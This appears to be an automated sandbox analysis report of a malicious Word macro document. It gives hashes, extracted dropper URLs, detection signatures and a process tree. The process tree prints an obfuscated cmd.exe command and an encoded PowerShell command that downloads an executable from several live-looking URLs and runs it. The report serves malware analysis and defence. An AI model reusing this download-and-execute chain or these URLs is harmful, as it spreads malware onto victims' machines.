Analysis

  • max time kernel
    103s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/09/2024, 17:56

General

  • Target

    ebe39e8732bc9ba102dfb014f422ca2e_JaffaCakes118.doc

  • Size

    88KB

  • MD5

    ebe39e8732bc9ba102dfb014f422ca2e

  • SHA1

    150477cba969e4b7f6b40ee6a9b3c0f7cd998dfc

  • SHA256

    c6a27327929ea0e7b66df5263dd5c74529701dddba28593a2cad44768f5054fd

  • SHA512

    08acb2bff3efab217e760c77cf7424aaf44e2be3a6ad454243b77b6967d0ea5f6b6ac2b83220e24a0a2764aa828ab96026bd5b4dab17f5bdc6f84b12fd8ab654

  • SSDEEP

    1536:jptJlmrJpmxlRw99NBP+aE8CxaupItj8SWnQt:Nte2dw99fdupuj

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://4surskate.com/vKi

exe.dropper

http://riakom.com/T

exe.dropper

http://zavod-pt.com/T

exe.dropper

http://natco-pharma.com/PRBHaG

exe.dropper

http://bitwaopoznan.pl//gp6

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ebe39e8732bc9ba102dfb014f422ca2e_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2796
    • C:\Windows\SYSTEM32\CMD.exe
      CMD /v:^O^ ^ /R" ^Se^T ^ ^ ^h6^AV==^AAIAACA^g^A^A^IAAC^A^g^AAIAACA^g^AAI^AAC^AgA^A^IAACAgA^AI^AAC^A^9^B^Qf^AsHA^oB^wY^AQH^AhBw^YA^0HA^7A^w^aAE^GAlBgc^AI^G^A^7A^wV^A^YE^Ak^B^A^JAACAtBQZA^Q^H^A^JBQL^A^U^G^Ar^B^wb^AY^H^AuB^QS^As^DA^p^AwVAYE^A^kBA^JAAC^A^s^A^QQ^A^wEAoB^AJAgCA^l^BAbAk^GA^G^BA^Z^AE^G^AvBA^b^A4^GA^3B^wb^AQ^EAuA^g^Z^A8EAB^B^A^J^A^s^HA5BgcA^Q^HA^7^B^QKAQG^A^o^B^AV^A^QCA^g^Ag^bA^k^GA^g^AQQA^wE^A^oB^AJAgC^Ao^B^w^YAE^GAlBgc^A^8^G^A^m^B^wOAcC^A^lBA^e^AUG^Au^A^w^J^AsCApB^gc^A^g^F^A^k^A^w^K^AcC^AcBwJ^AsC^A^j^BQ^aAw^GAiBQ^d^A^AH^A6^A^gd^A4^GAlBA^J^A^0D^AX^B^gR^A^QG^A^kA^wOAcCA^y^AA^M^A^Q^DAnA^AI^A0^DA^gAQ^aA^IH^AYB^A^J^AsD^A^pAw^J^A^A^E^An^A^A^K^A^Q^HA^p^BAb^AAHA^TBgLAcCA^2^AAc^AcGAv^AwLA^wGAwB^g^LA^4GAh^B^g^bA^o^H^AvB^AcA^8^GAhB^wdAQH^ApB^g^Y^A^8C^AvAgO^A^A^HA0^BA^dAgG^AABwR^AE^GA^I^B^gQA^IF^AQ^B^wLA0^GAv^Bw^YA4CA^hB^Q^b^AIHA^hBA^a^AA^H^A^tAwbAM^GA0^BQY^A4GAvA^wL^A^o^D^A^wB^A^dA^QH^Ao^BA^Q^AQFAvAQ^bA8^G^Aj^B^gL^AQ^H^A^w^B^Q^LA^Q^G^Av^B^gdAEGA^6B^wLA8CA^6^AAc^AQ^HA^0^B^Aa^AAE^A^U^B^wL^A0G^AvB^w^YA^4C^At^Bwb^A^sG^A^h^B^Q^aA^IHAvA^wL^Ao^D^Aw^B^Ad^A^QH^Ao^BA^QAk^G^A^L^B^g^dA8C^A^tB^w^bAM^G^A^u^A^QZ^A^Q^H^Ah^Bwa^A^M^HA^y^B^Q^d^AM^HA^0^A^wLA^8CA^6AAc^A^QHA0^BA^aAcC^A9^AAZAg^G^AUB^AJ^AsDA^0^B^gb^AUGAp^BA^bAMEAi^BQ^Z^AcF^AuA^A^dA^U^G^A^O^B^A^I^AQH^AjB^Q^Z^AoG^A^iBw^bA0C^A^3BQZA^4^GA^9^A^g^Z^A^8E^A^B^BAJ^ ^e^-^ lle^hsr^e^wop&& ^F^or /^l %k ^iN ( ^8^81^ -^1^ ^ ^0)^Do ^s^ET u^f^y^d=!u^f^y^d!!^h6^AV:~ %k, 1!& i^f %k l^s^S ^1 C^aL^L %u^f^y^d:~ ^-^8^82% "
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e JABBAE8AZgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABUAGgAZAA9ACcAaAB0AHQAcAA6AC8ALwA0AHMAdQByAHMAawBhAHQAZQAuAGMAbwBtAC8AdgBLAGkAQABoAHQAdABwADoALwAvAHIAaQBhAGsAbwBtAC4AYwBvAG0ALwBUAEAAaAB0AHQAcAA6AC8ALwB6AGEAdgBvAGQALQBwAHQALgBjAG8AbQAvAFQAQABoAHQAdABwADoALwAvAG4AYQB0AGMAbwAtAHAAaABhAHIAbQBhAC4AYwBvAG0ALwBQAFIAQgBIAGEARwBAAGgAdAB0AHAAOgAvAC8AYgBpAHQAdwBhAG8AcABvAHoAbgBhAG4ALgBwAGwALwAvAGcAcAA2ACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABYAHIAaQAgAD0AIAAnADQAMAAyACcAOwAkAGQARgBXAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAFgAcgBpACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABoAEwAQQAgAGkAbgAgACQAVABoAGQAKQB7AHQAcgB5AHsAJABBAE8AZgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABoAEwAQQAsACAAJABkAEYAVwApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABkAEYAVwA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4764

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\TCDC42.tmp\gb.xsl

          Filesize

          262KB

          MD5

          51d32ee5bc7ab811041f799652d26e04

          SHA1

          412193006aa3ef19e0a57e16acf86b830993024a

          SHA256

          6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

          SHA512

          5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5m4ht10u.hay.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

          Filesize

          2B

          MD5

          f3b25701fe362ec84616a93a45ce9998

          SHA1

          d62636d8caec13f04e28442a0a6fa1afeb024bbb

          SHA256

          b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

          SHA512

          98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

          Filesize

          2KB

          MD5

          969511f71a0d98962b381e02c0278a48

          SHA1

          a21e951b13277e7dd5830f3e7da9b2b5040b1aec

          SHA256

          c82d61fbfbadab129c75bfb072985e4a65f20600a583d1a58a9e46b64b8cbc00

          SHA512

          abf713c05918e90fa9c39739a3a14a28facb8a446a41bca1dbd55a631c3ee58bb7f7a727f30f77947a12dda53e8558b1161b13cc1c397c934e98e47ee4360055

        • memory/2796-18-0x00007FFE408B0000-0x00007FFE408C0000-memory.dmp

          Filesize

          64KB

        • memory/2796-26-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-9-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-10-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-8-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-7-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-11-0x00007FFE408B0000-0x00007FFE408C0000-memory.dmp

          Filesize

          64KB

        • memory/2796-6-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-14-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-16-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-17-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-15-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-13-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-12-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-1-0x00007FFE830ED000-0x00007FFE830EE000-memory.dmp

          Filesize

          4KB

        • memory/2796-25-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-27-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-5-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/2796-0-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/2796-355-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-2-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/2796-45-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-54-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-53-0x00007FFE830ED000-0x00007FFE830EE000-memory.dmp

          Filesize

          4KB

        • memory/2796-55-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-56-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-59-0x00007FFE83050000-0x00007FFE83245000-memory.dmp

          Filesize

          2.0MB

        • memory/2796-4-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/2796-3-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/2796-351-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/2796-352-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/2796-353-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/2796-354-0x00007FFE430D0000-0x00007FFE430E0000-memory.dmp

          Filesize

          64KB

        • memory/4764-39-0x0000023FC4180000-0x0000023FC41A2000-memory.dmp

          Filesize

          136KB